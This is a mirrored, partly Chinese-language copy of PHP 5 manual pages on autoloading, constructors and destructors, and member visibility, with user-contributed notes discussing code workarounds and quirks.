   function __autoload($name) {
       $class = $interface = false;

       // interface first
       if (include_exists("interface.$name.inc")) {
           include_once("interface.$name.inc");
           $interface    = true;
       }
       // class later
       if (include_exists("class.$name.inc")) {
           include_once("class.$name.inc");
           $class    = true;
       }

       // catch error
       if ($class === false && $interface === false) {
           trigger_error("Failed to include class/interface $name", E_USER_WARNING);
           return false;
       }

       return true;
   }

   function include_exists($file)
   {
       static $include_dirs = null;
       static $include_path = null;

       // set include_dirs
       if (is_null($include_dirs) || get_include_path() !== $include_path) {
           $include_path    = get_include_path();
           foreach (split(PATH_SEPARATOR, $include_path) as $include_dir) {
               if (substr($include_dir, -1) != '/') {
                   $include_dir .= '/';
               }
               $include_dirs[]    = $include_dir;
           }
       }

       if (substr($file, 0, 1) == '/') { //absolute filepath - what about file:///?
           return (file_exists($file));
       }
       if ((substr($file, 0, 7) == 'http://' || substr($file, 0, 6) == 'ftp://') && ini_get('allow_url_fopen')) {
           return true;
       }
       foreach ($include_dirs as $include_dir) {
           if (file_exists($include_dir.$file)) {
               return true;
           }
       }
       return false;
   }
?>
christopher dot klein at ecw dot de
27-Jun-2005 02:20
Sometimes you could get in trouble, if you have already written a management-class for an object, but you still don not have designed the object.
For example you have created a class called Management_FileObject:
<?php
  class Management_FileObject
  {
   private static $objFile;

   public static function getInstance()
   {
     if (!is_object(self::$objFile))
     {
       self::$objFile = new FileObject();
     }

     return self::$objFile;
   }

   public static function writeData($data)
   {
     self::getInstance()->setData($data);
   }

   public static function readData()
   {
     return self::getInstance()->getData();
   }
  }
?>

The object FileObject is still not defined (why-ever).
Now we can use a method, which I want to name "Extreme Prototyping". Redefine the __autoload()-function:
<?php

  function __autoload($className)
  {
   // Define more search-pathes here
   $arrPath = array('../classes/');

   for ($i = 0, $m = sizeof($arrPath); $i < $m; $i++)
   {
     $phpFile = $arrPath[$i].$className.".php5";
     if (file_exists($phpFile))
     {
       include_once($phpFile);
       return true;
     }
   }

   $str = 'class '.$className.'
  {
   private static $objInstances = array();

   public function __construct()
   {
     self::$objInstances[] = $this;
   }

   private $objVals = array();

   public function __call($m, $a)
   {
     if (preg_match("/^(set|get)(.*)/",$m,$arrRet))
     {
       if ($arrRet[1] == "get")
       {
         if ($this->objVals[$arrRet[2]])
         {
           return $this->objVals[$arrRet[2]];
         }
       }
       else
       {
         $this->objVals[$arrRet[2]] = $a[0];
         return true;
       }
     }
   }

   public function dumpVar()
   {
     var_dump($this);
   }

   public static function dumpObjects()
   {
     var_dump(self::$objInstances);
   }
  }';
   eval($str);
  }
?>

Now you can test the code above with this lines:
<?php
  $testData = "Extreme Prototyping success";

  Management_FileObject::writeData($testData);

  if ($testData != ($returnData = Management_FileObject::readData()))
  {
   print "Extreme Prototyping falied.";
  }
  else
  {
   print "Got ".$returnData;
  }
?>

I hope, you find this usefull.
Best regards,
Christopher Klein
PrzemekG_ at poczta dot onet dot pl
15-Jun-2005 06:27
This is a little more usefull code (modified from nhartkamp at eljakim dot N0SP4M dot nl)

<?php
function __autoload ($class_name) {
  $file = 'system/objects/' . $class_name . '.inc.php';
  if (!file_exists ($file)) {
   return eval ("class $class_name {" .
                 "  function $class_name ($a=0, $b=0, $c=0, $d=0, $e=0, $f=0, $g=0, $h=0, $i=0) {" .
                 "    throw new Exception ();" .
                 "  }" .
                 "}");
  }
  require_once ($file);
}
?>
Adding some arguments to the constructor will prevent errors about argument count.
scott at webscott dot com
04-May-2005 08:40
__autoload() seems to work when saving objects as session variables as well:

classLoader.php
<?php
function __autoload($className) {
  require_once("$className.php");
}
?>

testClass.php
<?php
class testClass {
  function __construct($propValue) {
   $this->prop1 = $propValue;
  }

  function showProp() {
   return $this->prop1;
  }
}
?>

page1.php
<?php
require_once('classLoader.php');
session_start();
$_SESSION['testObj'] = new testClass('foo');
echo '<a href="page2.php">Go to page 2</a>';
?>

page2.php
<?php
require_once('classLoader.php');
session_start();
echo $_SESSION['testObj']->showProp(); // displays foo
?>

Works with multiple session objects as well.  Tested on a Win2k/IIS machine.
erikzoltan NOSPAM at comcast dot net
06-Apr-2005 10:41
When using __autoload you'll have one class in each file.  I have developed the habit of placing a UML class diagram at the top of each file.  It's extremely helpful when you start to work with a large number of classes, especially if you're part of a team.  And it's easy to do.

<?php

/*
|--------------------------------|
| MyExample : SomethingElse      |
|--------------------------------|
| +$FirstProperty                |
| +$SecondProperty: array        |
| -$ThirdProperty                |
|--------------------------------|
| +new MyExample()              |
| #ClassMethod($a,$b,$c): number |
| +DoSomething()                |
| -SomethingElse()              |
|--------------------------------|
*/

class MyExample extends SomethingElse
{
   public $FirstProperty;
   public $SecondProperty = array();
   private $ThirdProperty;
   public __constructor()
   {
   }
   public static function ClassMethod($a, $b, $c)
   {
       return $a+$b+$c;
   }
   public function DoSomething()
   {
   }
   private function SomethingElse()
   {
   }
}
?>

Of course you have to maintain the UML comments along with your classes.  (I'm planning to use reflection to automate this process in the future so that issue will soon disappear.)
El Lobo
17-Mar-2005 09:10
function autoloadwrapper($parameter='',$register=false) {
  static $function='default_function';
  if( $register ){
   $function=$parameter;
   return true;
  }
  if( ! is_array($parameter) ){
   $param[]=$parameter;
  }else{
   $param&=$parameter;
  }
  if( function_exists( $function ) ){
   return @call_user_func_array( $function,$param );
  }else{
   $methode=explode("::",$function);
   return @call_user_func_array( $methode,$param );
  }
}

function __autoload($class_name) {
  return autoloadwrapper( $class_name );
}

Simple hack to switch between different __autoload-functions.
trini0
02-Feb-2005 12:04
Be careful with using that eval() trick within __autoload().
If you use reflection in your code, the so called trick,
*can* provide ill side effects.
For example ->
$reflection = new reflectionClass('some_class');
if (FALSE === $reflection->isSubClassOf('another_class'))
{
   throw new Exception('Class "some_class" must extend base class "another_class"');
}

If the real class "another_class" doesnt exist at the time, or "some_class" doesn't extend "another_class", with the reflection test, the so called eval() trick, creates a dummy "another_class",
thereby making the reflection test useless...
petyo()architect . bg
30-Jan-2005 05:27
The following function may be useful if you want to simulate namespaces and autoloading behavior:

define ("CLASS_ROOT", '/classes/');
function __autoload ($className)
{
   require_once CLASS_ROOT.str_replace('_', '/', $className).'.class.php';
}

Then you will just have to use the folder structure and name the classes accordingly. If you want to have a class named Page, which will be in the pseudo namespace System.Web.UI, create a directory named System in /classes, then create Web, then UI, then name the class System_Web_UI_Page. Kind of long to type if you don't have autocomplete, but at least you will not have to manage the loading of all the classes' definitions.
thomas dot revell at uwe dot ac dot uk
27-Jan-2005 10:31
If you want to throw an exception if a class isn't defined yet, use class_exists ():

<?php
// See if the class is defined
if (!class_exists ($className, false)) {
   throw new Exception ("Class $className is not defined.");
}
?>

The second parameter indicates whether or not the __autoload () function should be called before checking for the class's existence.
Jami Pekkanen
18-Jan-2005 08:27
Autoloading can be abused to simulate C++-style templates:

<?php
function __autoload($className)
{
       $names = explode('__', $className, 2);
       if(count($names) != 2) return;

       eval(
       "class $className extends {$names[0]}
       {
               public static function getTemplateValue()
               {
                       return {$names[1]};
               }
       }"
       );
}

class Dummy {}
echo Dummy__HelloWorld::getTemplateValue()."\n"; // HelloWorld
$bye = new Dummy__ByeBye();
echo $bye->getTemplateValue()."\n"; // ByeBye
?>

Also a great way to confuse anyone trying to read/maintain your code.
smith at backendmedia dot com
04-Jan-2005 11:45
It seems that __autoload() works both for classes and interfaces.
nhartkamp at eljakim dot N0SP4M dot nl
12-Dec-2004 01:14
The following might provide a good work-around for throwing exceptions from the __autoload function when a file containing the correct class doesn't exists.

function __autoload ($class_name) {
  $file = 'system/objects/' . $class_name . '.inc.php';
  if (!file_exists ($file)) {
   return eval ("class $class_name {" .
                 "  function $class_name () {" .
                 "    throw new Exception ();" .
                 "  }" .
                 "}");
  }
  require_once ($file);
}

Cheers,
Nolan
ernest at vogelsinger dot at
28-Nov-2004 06:43
Note that it is not possible to catch an exception thrown from within __autoload.

See also bug report #26193 (http://bugs.php.net/bug.php?id=26193) - this states "Won't fix", so read it before you holler.
add a note add a note

后退 | 起点 | 前进
基本概念 | 上一级 | 构造函数和析构函数


构造函数和析构函数

构造函数

void __construct ( [mixed args [, ...]] )

PHP 5 允行开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建对象时先调用此方法，所以非常适合在使用对象之前做一些初始化工作。

注: 如果子类中定义了构造函数则不会暗中调用其父类的构造函数。要执行父类的构造函数，需要在子类的构造函数中调用 parent::__construct()。

例子 19-6. 使用新标准的构造函数

<?php
class BaseClass {
   function __construct() {
       print "In BaseClass constructor\n";
   }
}

class SubClass extends BaseClass {
   function __construct() {
       parent::__construct();
       print "In SubClass constructor\n";
   }
}

$obj = new BaseClass();
$obj = new SubClass();
?>

为了实现向后兼容性，如果 PHP 5 在类中找不到 __construct() 函数，它就会尝试寻找旧式的构造函数，也就是和类同名的函数。因此唯一会产生兼容性问题的情况是：类中已有一个名为 __construct() 的方法，但它却又不是构造函数。

析构函数

void __destruct ( void )

PHP 5 引入了析构函数的概念，这类似于其它面向对象的语言，如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

例子 19-7. 析构函数示例

<?php
class MyDestructableClass {
   function __construct() {
       print "In constructor\n";
       $this->name = "MyDestructableClass";
   }

   function __destruct() {
       print "Destroying " . $this->name . "\n";
   }
}

$obj = new MyDestructableClass();
?>

和构造函数一样，父类的析构函数不会被引擎暗中调用。要执行父类的析构函数，必须在子类的析构函数体中显式调用 parent::__destruct()。

注: 析构函数在脚本关闭时调用，此时所有的头信息已经发出。

注: 试图在析构函数中抛出一个异常会导致致命错误。

add a note add a note User Contributed Notes
Peter Molnar
18-May-2006 09:24
There were many notes about the inability of defining multiple constructors for the class.

My solution is to define separate static methods for each type of constructor.
<?php
class Vector {
   private $x;
   private $y;

   public function __construct() {
       $this->x = 0;
       $this->y = 0;
   }

   public static function createXY($x, $y) {
       $v = new Vector();
       $v->x = $x;
       $v->y = $y;
       return $v;
   }
}
?>
ckoschmied at web dot de
07-Apr-2006 10:58
Be aware of the fact that if you create a new instance of a class like this:

$instance = new Class();

$instance will not contain a valid reference to the newly created object until the constructor is finished. So don't use $instance while the constructor is still running.

Well, on the other side, why would you want to do it? I wanted to, and it took me some hours to figure out.
Even though it's quite obvious if you think about it :-)
jcaplan at bogus dot amazon dot com
25-Mar-2006 01:52
__construct and __destruct must be declared public in any class that you intend to instantiate with new.  However, in an abstract (or never-instantiated base) class you can declare them private or protected, and subclasses can still refer to them via parent::__construct (!) (tested in PHP 5.1.2).
10-Feb-2006 02:55
(Refering to: caliban at darklock dot com)

To force a constructor always to be called, and still be able to define a constructor on a derived class use the model below. Ideal for module architectures, because you only have to know the file and classname to construct an object.

<?php
class Parameter {}

abstract class BaseClass
{
   protected $param;

   public final function __construct( Parameter $param )
   {
       $this->param = $param;
       $this->pseudoConstruct();
   }

   protected abstract function pseudoConstruct();
}

class ConcreteClass extends BaseClass
{
   protected function pseudoConstruct()
   {
       echo __CLASS__.' constructor';
   }
}

$refl = new ReflectionClass( 'ConcreteClass' );
if( !$refl->isSubclassOf( 'BaseClass' ) ) throw new Exception( 'Invalid base class!' );
$refl->newInstance( new Parameter() );
?>
jochem AT mondrian-it d_o_t nl
30-Jan-2006 08:07
at: derk AT oneindig DOT com

You can achieve identical functionality by doing this:
<?php
class Parent {
   function __construct()
   {
       echo "Parent constructor called\\n";
   }
}

class Child extends Parent {
   function __construct()
   {
       parent::__construct();
       echo " Child 'contructor' called";
   }
}

$c = new Child();
?>
Added advantage is that Parent doesn't need to have the method myConstruct(), and that you're using constructors like they were intended.
developit at mail dot ru
25-Jan-2006 06:32
as [kida at keymail dot it] said you can't weaken a visibility of constructor when extending some class. but suggested trick that uses both old and new constructor namimg syntaxes to weaken visibility from 'protected' to 'public' seems a little bit odd. allthough it works allright. declaring extended class as 'abstract' with 'public' constructor will do quite the same thing in a more elegant manner and without any syntax mess.

<?php
class A
{
  public function __construct()
  {
   //do smth
  }
}

abstract class B extends A
{
  public function __construct()
  {
   parent::__construct();
  }
}
?>

thus, you avoid instanciating class B as if it had a protected contructor
aya at eh dot org
01-Dec-2005 06:20
For those who aren't already aware, PHP5 currently suffers from the classic reference counting leak. See http://en.wikipedia.org/wiki/Reference_counting for more info.

Example code:

<?php

   class Noisy
   {
       private $name;

       public function __construct($name)
       {
           $this->name = $name;
           echo "Noisy::__construct($this->name)\n";
       }

       public function __destruct()
       {
           echo "Noisy::__destruct($this->name)\n";
       }
   }

   function foo($num)
   {
       $noisy = new Noisy($num);
       //$noisy->me = $noisy; // Uncomment this line to create a cyclic reference
   }

   for ($i = 0; $i < 10; ++$i)
       foo($i);

?>

As it stands, the destructor of class 'Noisy' will be called on '$noisy' when it goes out of scope in function 'foo', but uncommenting the second line in function 'foo' will prevent this, and cause a memory leak.

See http://bugs.php.net/bug.php?id=33595 for a bug report, which reads as if this is not likely to get fixed in the near future, so watch out!
derk AT oneindig DOT com
04-Nov-2005 06:02
If a constructor is not present in a child class, php5 will try to call a constructor from the parent class. This behaviour can be used to somewhat simulate constructor chaining.

<?php
abstract class Parent {
   function __construct()
   {
       echo "Parent constructor called\n";
       $this->myConstruct();
   }
}

class Child extends Parent {
   function myConstruct()
   {
       echo " Child 'contructor' called";
   }
}

$c = new Child();
?>

will output:
Parent constructor called
Child 'constructor' called
timothyrhodes at gmail dot com
18-Oct-2005 12:46
You are receiving that error because you are calling a function outside of your class that requires the instantiated (object) variable "example" which doesn't exist until your class has been constructed into an object and assigned to "example. Here is the proper solution.

<?php

function foo($bar)
{
   $bar->friend();
}

class example_class
{
   function example_class()
   {
       foo($this);
   }

   function friend()
   {
       // Uhhh :)
   }
}

$example = new example_class;

?>
webmaster at wyrihaximus dot net
17-Oct-2005 09:57
Just a note on the __construct() function (in my example it's the classname but it has the same effect).  When you try call a function outside the class, wich calls a function wich is inside the class in construction you will get a "Call to function on undefined object" error. The first piece of code shows a failing script. The seccond piece of code shows a work-around solution .

Examples:

The wrong code:
<?php

function foo($bar)
{
   global $example;
   $example->friend();
}

class example_class
{
   function example_class()
   {
       foo('bar');
   }

   function friend()
   {
       // Uhhh :)
   }
}

$example = new example_class;

?>

The working code:
<?php

function foo($bar)
{
   global $example;
   $example->friend();
}

class example_class
{
   function example_class()
   {
       // Some other code
   }

   function example_class_step2()
   {
       foo('bar');
   }

   function friend()
   {
       // Uhhh :)
   }
}

$example = new example_class;
$example->example_class_step2();

?>
contact at tcknetwork dot com
21-Sep-2005 03:54
be careful while trying to access files with __destruct() because the base directory (getcwd()) will be the root of your server and not the path of your script, so add before all your path called in __destruct() :
EITHER  dirname($_SERVER["SCRIPT_FILENAME"])."my/path/"
OR      dirname(__FILE__)."my/path/"
         (be careful with includes, it will give the path of the file processed and not the main file)
php dot net at lk2 dot de
14-Aug-2005 12:50
It looks like `echo()`ed output from the __destructor() function is displayed onto screen _before_ other output that the class may have have already sent before.

This can be misleading if you have debug info printed in the destructor but not a problem if you know it.
stanley dot turnteen at gmail dot com
06-Aug-2005 04:20
Actually a buddy just pointed out a more elegant method:

<?php

  class Movie
  {
   public $title;
   public $director;
   public $stars;
   public $year_released;

   public function __construct()
   {
     @list($this->title,
           $this->director,
           $this->stars,
           $this->year_released) = func_get_args();
   }

  }

?>
stanley dot turnteen at gmail dot com
06-Aug-2005 03:43
IMHO using func_get_args() is superior to constructor polymorphism, because you don't have to define constructors for every possible way a class can be initialized.

The pattern I use looks like this;  all you have to do is pass the parameters in the correct order.

<?php

  class Movie
  {
   public $title;
   public $director;
   public $stars;
   public $year_released;

   public function __construct()
   {
     $args = func_get_args();

     foreach(array("title", "director", "stars", "year_released") as $i)
     {
       if(empty($args))
       {
         break;
       }

       $this->$i = array_shift($args);
     }
   }

  }
?>
nayyar at ossp dot com dot pk
14-Jul-2005 05:48
This might help you understanding __construct() function.

<?
   class submit
   {
     var $val1;
     var $val2;
     function __construct()
     {
     $this->val1 = 7;
     $this->val2 = 9;
     }
     function sum()
     {
         return $this->val1 + $this->val2;
     }

   }

   $tt = new submit;
   $tt->val1 = 7;
   $tt->val2 = 7;
   $result = $tt->sum();
   echo $result;
?>
dominics at gmail dot com
11-Jul-2005 10:12
If you're using E_STRICT error reporting, PHP will tell you if you define both __construct() and an old-style constructor (a function with the same name as the class) together in a class. Note that this occurs even if the old constructor function is abstract or final (for instance, if you were intending to only use it in a sub-class). Be wary of this if you're trying to implement the 'command' design pattern.

The solution? Either turn E_STRICT off (and possibly forgo some other important notices), rename your function (and possibly make things a little more complicated), or look at using an interface.
Obeliks
23-Jun-2005 07:43
In reply to "luancarvalho at terra dot com dot br":

You can also use an constructor without parameters and get the parameters via func_get_args();
Then you can check if it is_int or is_whatever, and process it accordingly.
luancarvalho at terra dot com dot br
15-Jun-2005 04:42
Even PHP 5 doesn't allow to redeclare a method in a class. So, it's impossible to create differents constructors to a object with unique parameters, something common JAVA.

To overcome this limitation I've been forced to use something like this:

<?php

class MyClass {

  public $n1;
  public $n2;

  function MyClass ($n1 = FALSE, $n2 = FALSE) {
   if ($n1) {
     $this->n1 = $n1;
   } else {
     $this->n1 = 0;
   }

   if ($n2) {
     $this->n2 = $n2;
   } else {
     $this->n2 = mt_rand();
   }

  }

}

?>
shakeel at nxb dot com dot pk
01-Jun-2005 01:57
In order to make constructor overloading in PHP5, we have to make a function __construct and inside from that's constructor, use func_num_args to get the total numbers of arguments supplied to the constructor and then do appropriate work or call some other function. The value of any argument can be acceessed by using
func_get_arg($index) function. This is illustrated in the
following Example.

<?php
class Overload
{
 private $var1;
 private $var2;
 # constructor which acts as a overloaded constructors
 public function __construct()
{
$num_args=func_num_args();
switch ($num_args)
{

case '0':
       // Do something
       # set zero in both instance variables. if no argument is
       #supplied
     $this->var1 = $this->var2 =0;
     break;
case '1':
       # get value of the argument
$arg1=func_get_arg(0);
       // Do something else;
       /* asigned ist arg. to ist instance variable and Zero in the 2nd instance variable or any other initializing value. because only one argument is supplid.    */

$this->var1 = $arg1;
$this->var2 = 0;
break;

case '2':
// get value of both arguments
$arg1=func_get_arg(0);
$arg2=func_get_arg(1);
// Do something else;

$this->var1 = $arg1;
$this->var2 = $arg2;
break;
} // end of switch statement

} // end of function __construct

// function to display the values of instance variables
function display()
{
echo "var1: $this->var1 <br>";
echo "var2: $this->var2 <br><br>";

}// end of function display

}// end of class

// create 3 objects with different no. of arguments
$over = new Overload();
$over1 = new Overload(5);
$over2 = new Overload(5,10);

// call display function with all 3 objects.
$over->display();
$over1->display();
$over2->display();

?>

output:

var1: 0
var2: 0

var1: 5
var2: 0

var1: 5
var2: 10
kida at keymail dot it
31-May-2005 03:59
Well:

class A
{
     public function __construct()
     {
             //do something
     }
}

class B extends A
{
     protected function __construct()
     {
         parent::__construct();
     }
}

You can't make this becouse B::__construct() MUST have the same visibility or a weaker visibility of A::__construct() !!??!!
SO I THINK it's better

class A
{
     public function A()
     {
             //do something
     }
}

class B extends A
{
     protected function  B()
     {
         parent::A();
     }
}

Because it works. Instead of what they're saying ;)
rocco at bluora dot com dot au
17-Apr-2005 11:29
Before PHP reaches the point where it calls the __destruct functions, it has already done a session_write_close() so you can no longer write anything to the session.

I wanted it to copy some variables from my class into the session once the script had finished but now having to get the last function to call a SaveToSession() function.

In php versions 5.0.2 and 5.0.4
contact at tcknetwork dot com
15-Apr-2005 11:45
Note that php5 use in priority __construct() instead of [classname](). So you could build a constructed/destructed class for php4/5 very easily using this.
<?
class test {
 function test() {
  $this->__construct();
  register_shutdown_function(array($this,"__destruct"));
 }
 function __construct() {
  echo "construct\n";
 }
 function __destruct() {
  echo "destruct\n";
 }
};
$t=new test();
?>
In case you use unset($t) in php4, the destructor is not called. so be careful.
apfelsaft
30-Mar-2005 05:59
at the end of a script all remaining objects aren't in fact destructed. it is only their __destruct() method, which will be called. the objects still exist after that.

so, if your database connection object has no __destruct() or at least it doesn't disconnects the database, it will still work.

in general, there is no need to disconnect the database (especially for persistent connections).
miguel dot simoes at newnet dot com dot pt
23-Mar-2005 08:01
In the PHP documentation example you can change the class name under $this->name = "ClassName" with $this->name = __CLASS__;

This way you'll have a starting point for having a dinamic content even inside PHP code and providing a good base for having a "Class template" with __construct and __destruct.
05-Mar-2005 07:48
> To caliban at darklock dot com: Why not just define
> a dummy constructor

Because you don't always get to modify your base classes. Once you get beyond the "build to suit" range of software development, you end up having to work with other people's code, and sometimes you just plain can't change it. When Bob is in charge of making changes to that object, you can't add a dummy constructor. You have to tell Bob to do it, and until Bob does it, you don't get it. So if you want to hit your deadlines, you don't count on Bob caring enough about your job to make the changes you want... you work around it. It might be convenient for *you* to have a constructor on that object, but when you're only one of several thousand people that are using it, your convenience isn't generally among the design criteria.

Smaller projects where you can add whatever you want wherever you want will not have this problem, in which case the dummy constructor is indeed a better solution.
24-Feb-2005 05:08
To caliban at darklock dot com: Why not just define a dummy constructor <?PHP function __construct() {} ?> in the base class? This adds little overhead, and allows you to both extend the class worry-free and later add construct functionality to the base class.

And now, about destructors: I haven't seen this clarified anywhere in the manual, but object destructors are called implicitly at script shutdown for all objects that still exist at that Tpoint. his happens *after* any shutdown functions set with <?PHP register_shutdown_function() ?> have been called.

Objects appear to be destructed in the order they were defined, which means you have to be careful with destruct methods that rely on the functionality of other objects (e.g. on a database-handler) as they will have shut down already.
caliban at darklock dot com
23-Feb-2005 06:00
(Referring to the earlier example code and comment)

The "final" keyword forbids the Baz object to define its own constructor; defining an override for a "final" method creates a fatal error. Without the "final" keyword, if the Baz object defines a constructor, the Foo constructor will not be called automatically; instead, the Baz constructor will be called and the Foo constructor will not.

If the Foo constructor SHOULD be called, e.g. to open files or initialise member variables, Baz will need to call parent::__construct() explicitly. In most cases, this is what you will want to do when extending a class, but you can't just do it as a matter of habit... because if Foo does not HAVE a constructor, parent::__construct() is a fatal error. This creates a problem. (The problem can be easily solved with @parent::__construct(), if you don't care about OTHER errors that might arise.)

So given an object Foo with no constructor, any extension objects MUST NOT call parent::__construct() in their own constructors. If Foo later *adds* a constructor, the extension objects SHOULD call parent::__construct() if they have constructors themselves. (If they don't, Foo's constructor will be called automatically.) A whole slew of problems pop up as a result, so what we need is a way to say "call the parent class constructor if there is one".

An immediate avenue presents itself with is_callable(array("parent","__construct")), but this isn't as useful as you might expect because it doesn't handle old-style constructors. Basically, if Foo has a constructor named Foo(), parent::__construct() will call parent::Foo(), but is_callable(array("parent","__construct")) returns FALSE.

Fortunately, this is easily resolved with a call to is_callable(array("parent",get_parent_class($this))). Adding that bit of code into the constructor of your derived classes will achieve exactly what we want, namely to call the parent's constructor if there is one.

But there always seems to be a catch... this only works one level down. If Baz extends Bar extends Foo, this code will get Baz to call Bar's constructor, but Bar can't call Foo's constructor with it -- because $this is an instance of Baz, not Bar, so Bar cannot determine its parent class name correctly. (It is noteworthy that if Bar does not *have* a constructor, Baz will still happily pass a request through to Foo's constructor.) The reflection interface is the most obvious way to go about fixing this, but that gets a little too complex to be called a "note".
donpro at lclnav dot com
07-Jan-2005 10:52
I am using PHP 5.0.3 and was playing with the above example.  I changed the code by omitting the 'final' keword from the contructor in the Foo class and still got the same result, i.e., the constructor was called when only this code was run:

$Obj = new Baz( "Passed to new Baz( )" );
lenix
28-Nov-2004 12:38
i just found out that, together with the 'final' keyword, it gets pretty easy to write a parent-class with a constructor always called and not overwriteable by any childs extending that class.

<?php
   abstract class Foo {
     final function __construct( $Bar ) {
         echo "Foo::__construct( $Bar );<br />\n";
     }
   }
   class Baz extends Foo {
     public function printBaz( $Val = "" ) {
         echo "Baz::printBaz( $Val );<br />\n";
     }
   }

   try {
     $Obj =& new Baz( "Passed to new Baz( )" );
     $Obj->printBaz( "method of Baz" );
   } catch ( Exception $E ) {
     echo 'Caught exception: ',  $E->getMessage(), "<\n";
   }
?>

of course subclasses are forced that way to have no contructor on their own.
add a note add a note

后退 | 起点 | 前进
自动加载对象 | 上一级 | Visibility


Visibility

The visibility of a property or method can be defined by prefixing the declaration with the keywords: public, protected or private. Public declared items can be accessed everywhere. Protected limits access to inherited and parent classes (and to the class that defines the item). Private limits visibility only to the class that defines the item.

Members Visibility

Class members must be defined with public, private, or protected.

例子 19-8. Member declaration

<?php
/**
* Define MyClass
*/
class MyClass
{
    public $public = 'Public';
    protected $protected = 'Protected';
    private $private = 'Private';

    function printHello()
    {
        echo $this->public;
        echo $this->protected;
        echo $this->private;
    }
}

$obj = new MyClass();
echo $obj->public; // Works
echo $obj->protected; // Fatal Error
echo $obj->private; // Fatal Error
$obj->printHello(); // Shows Public, Protected and Private

/**
* Define MyClass2
*/
class MyClass2 extends MyClass
{
    // We can redeclare the public and protected method, but not private
    protected $protected = 'Protected2';

    function printHello()
    {
        echo $this->public;
        echo $this->protected;
        echo $this->private;
    }
}

$obj2 = new MyClass2();
echo $obj->public; // Works
echo $obj2->private; // Undefined
echo $obj2->protected; // Fatal Error
$obj2->printHello(); // Shows Public, Protected2, not Private

?>

注: The PHP 4 method of declaring a variable with the var keyword is no longer valid for PHP 5 objects. For compatibility a variable declared in php will be assumed with public visibility, and a E_STRICT warning will be issued.

Method Visibility

Class methods must be defined with public, private, or protected. Methods without any declaration are defined as public.

例子 19-9. Method Declaration

<?php
/**
* Define MyClass
*/
class MyClass
{
    // Contructors must be public
    public function __construct() { }

    // Declare a public method
    public function MyPublic() { }

    // Declare a protected method
    protected function MyProtected() { }

    // Declare a private method
    private function MyPrivate() { }

    // This is public
    function Foo()
    {
        $this->MyPublic();
        $this->MyProtected();
        $this->MyPrivate();
    }
}

$myclass = new MyClass;
$myclass->MyPublic(); // Works
$myclass->MyProtected(); // Fatal Error
$myclass->MyPrivate(); // Fatal Error
$myclass->Foo(); // Public, Protected and Private work

/**
* Define MyClass2
*/
class MyClass2 extends MyClass
{
    // This is public
    function Foo2()
    {
        $this->MyPublic();
        $this->MyProtected();
        $this->MyPrivate(); // Fatal Error
    }
}

$myclass2 = new MyClass2;
$myclass2->MyPublic(); // Works
$myclass2->Foo2(); // Public and Protected work, not Private
?>

add a note add a note User Contributed Notes
LoN_Kamikaze at gmx dot de
28-Mar-2006 05:26
About the previous note:

Of course you cannot declare public attributes/methods private, because it can break code relying on access to such an attribute/method. But of course your children can override private with protected/public.
c3 at epetersen dot org
07-Feb-2006 09:50
Note that you cannot change visibility in a child defined in the parent:

class A {
 public function f() {}
}

class B extends A {
 private function f() {}
}

Produces Fatal error: Access level to B::f() must be public (as in class A) in ...

jfk, visibility != security. Visibility prevents programmers from doing dumb things like:

class A {
 private function __construct() {}
 final public static &factory() { return new A(); }
}
$x = new A();

The use of "protected" as an identifier is unfortunate tradition as it really means "only me and my decedents" (and in the odd case of PHP my ancestors too).
r dot wilczek at web-appz dot de
05-Jan-2006 09:11
Beware: Visibility works on a per-class-base and does not prevent instances of the same class accessing each others properties!

<?php
class Foo
{
   private $bar;

   public function debugBar(Foo $object)
   {
       // this does NOT violate visibility although $bar is private
       echo $object->bar, "\n";
   }

   public function setBar($value)
   {
       // Neccessary method, for $bar is invisible outside the class
       $this->bar = $value;
   }

   public function setForeignBar(Foo $object, $value)
   {
       // this does NOT violate visibility!
       $object->bar = $value;
   }
}

$a = new Foo();
$b = new Foo();
$a->setBar(1);
$b->setBar(2);
$a->debugBar($b);        // 2
$b->debugBar($a);        // 1
$a->setForeignBar($b, 3);
$b->setForeignBar($a, 4);
$a->debugBar($b);        // 3
$b->debugBar($a);        // 4
?>
thc at forestfactory dot de
14-Dec-2005 01:38
To jfk...

Interessting and probably a bug?

Well, the workaround is not very hard: Just don't return the member directly:
<?
       public function GetNum(){
             $ret = $this->num;
             return $ret;
       }
?>
jfk at 206-225-86-169 dot dedicated dot abac dot net
13-Dec-2005 09:14
BEWARE!!  The visibility of a class member can easily be compromised by attaining a reference to the protected member.  In C++ for example this can not be done unless specifically included in the declaration/definition.  However in PHP it is simple!!!!  Observe....

class MyClass{
       protected $num;

       public function MyClass(){
           $this->num = 0;
       }

       public function Increment(){
           $this->num++;
       }

       public function GetNum(){
             return $this->num;
       }
};

$c = new MyClass(); //create instance of class
$x = &$c->GetNum(); //create variable referencing protected member to keep track of value while avoiding repeat calls to GetNum().

$x++;

echo "CLASS VALUE: " . $c->GetNum() . " VAR VALUE: $x\n";

The output is:
CLASS VALUE: 1 VAR VALUE: 1

A protected member should be exactly what "protected" means,  protected.

I hope I am overlooking something.  If not I believe this feature should be corrected to improve transparency in syntax between the two "languages."

Additionally, please note that my email address is:
jkallen@206-225-86-169.dedicated.abac.net

I had to create the jfk alias because the form for submitting notes does not accept emails as long as mine!!!!  Ouch!
gugglegum at gmail dot com
02-Sep-2005 07:58
When you call parent method from child class, inside parent method $this contains object of child class, but private members depends on from which context you access private property:

<?php

class A
{
  private $prop = "I am property of A!";
  public function s() {
   echo "\$this is object of class ".get_class($this)." but \$this->prop is '".$this->prop."'\n";
  }
}

class B extends A
{
  private $prop = "I am property of B!";
  public function s() {
   echo "\$this is object of class ".get_class($this)." but \$this->prop is '".$this->prop."'\n";
  }
  public function z() {
   parent::s();
   $this->s();
  }
}

$b = new B();
$b->z();

?>

This will produce:

$this is object of class B but $this->prop is 'I am property of A!'
$this is object of class B but $this->prop is 'I am property of B!'

But when you use members with protected or public visibility - it not depends on context. If you replace "private" to "protected" in example above, you will get "I am property of B!" twice.

See ya!
gugglegum at gmail dot com
02-Sep-2005 06:14
Private visibility actually force members to be not inherited instead of limit its visibility. There is a small nuance that allows you to redeclare private member in child classes.

<?php

class A
{
private $prop = 'I am property of A!';
}

class B extends A
{
public $prop = 'I am property of B!';
}

$b = new B();
echo $b->prop; // "I am property of B!"

?>
gugglegum at gmail dot com
02-Sep-2005 02:01
Parent class can access protected members of its childs.

<?php
class A
{
  public function getProtected()
  {
   return B::$protected;
  }
}

class B extends A
{
  protected static $protected = 'Hi, I am protected property of class B!';
}

echo A::getProtected();
?>

